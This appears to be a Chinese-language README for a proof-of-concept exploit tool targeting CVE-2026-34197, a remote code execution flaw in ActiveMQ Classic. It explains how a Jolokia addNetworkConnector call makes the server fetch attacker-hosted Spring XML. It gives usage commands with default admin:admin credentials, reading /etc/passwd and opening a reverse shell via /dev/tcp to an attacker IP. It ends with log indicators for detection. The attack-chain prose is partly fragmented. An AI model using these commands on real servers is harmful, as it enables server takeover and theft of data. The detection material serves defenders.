| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-34197 |
| 类型 | RCE(远程代码执行) |
| CWE | CWE-20(输入验证不当)、CWE-94(代码注入) |
| 受影响版本 | ActiveMQ Classic < 5.19.4、6.0.0 — 6.2.2 |
| 已修补版本 | 5.19.4、6.2.3 |
| 需要认证 | 是(默认凭据 admin:admin 常见) |
| 无需认证的版本 | 6.0.0 — 6.1.1(由于 CVE-2024-32114) |
| 默认端口 | 8161(Web 控制台) |
攻击链如下:
/api/jolokia/ 发送 POST 请求,调用 broker 的 MBean 上的 addNetworkConnector 操作。vm:// 传输的 URI,引用一个不存在的 broker。brokerConfig 参数。xbean: 方案表示该资源是一个 Spring XML 配置文件。Runtime.getRuntime().exec() 的 bean。攻击者 ActiveMQ(受害者)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://攻击者/x.xml) |
| |
| |-- 创建 VM broker
| |-- 下载 x.xml
|<-- GET /x.xml --------------------|
|-- 响应 XML payload --------------->|
| |-- Spring 实例化 beans
| |-- Runtime.exec(命令)
| |
CVE-2026-34197/
├── README.md # 本文件
├── exploit.py # 主要 PoC
├── payloads/
│ └── template.xml # Spring XML payload 模板
├── docker/
│ └── docker-compose.yml # 易受攻击的实验室环境
└── LICENSE
requests、http.server、argparse(标准库)pip install requests
cd docker
docker-compose up -d
这将在 localhost:8161 启动一个易受攻击的 ActiveMQ Classic 5.18.6。
# 使用默认凭据的基本用法
python exploit.py -t http://目标:8161 -l 攻击者_IP -c "id"
# 指定凭据
python exploit.py -t http://目标:8161 -l 攻击者_IP -c "whoami" -u admin -p admin
# 指定 payload HTTP 服务器端口
python exploit.py -t http://目标:8161 -l 攻击者_IP -lp 9999 -c "cat /etc/passwd"
# 无认证模式(ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://目标:8161 -l 攻击者_IP -c "id" --no-auth
# 反向 Shell
python exploit.py -t http://目标:8161 -l 攻击者_IP -c "bash -i >& /dev/tcp/攻击者_IP/4444 0>&1"
| 参数 | 描述 |
|---|---|
-t, --target | 目标的基础 URL(例如:http://10.0.0.1:8161) |
-l, --lhost | 用于提供 XML payload 的攻击者 IP |
-lp, --lport | 本地 HTTP 服务器端口(默认:8888) |
-c, --command | 在目标上执行的命令 |
-u, --user | 用户名(默认:admin) |
-p, --password | 密码(默认:admin) |
--no-auth | 不发送凭据(适用于 6.0.0 - 6.1.1 版本) |
--broker-name | broker 名称(默认:localhost) |
ActiveMQ broker 日志中的指标:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
其他指标:
/api/jolokia/ 的 POST 请求,请求体包含 addNetworkConnectorbrokerConfig=xbean:http 的 vm:// URI由 KONDOR DEV SECURITY 创建
本 PoC 仅供安全教育和研究目的使用。在未经明确授权的系统上使用此工具是违法的。作者不对该工具的滥用承担任何责任。
MIT — 版权所有 (c) 2026 KONDOR DEV SECURITY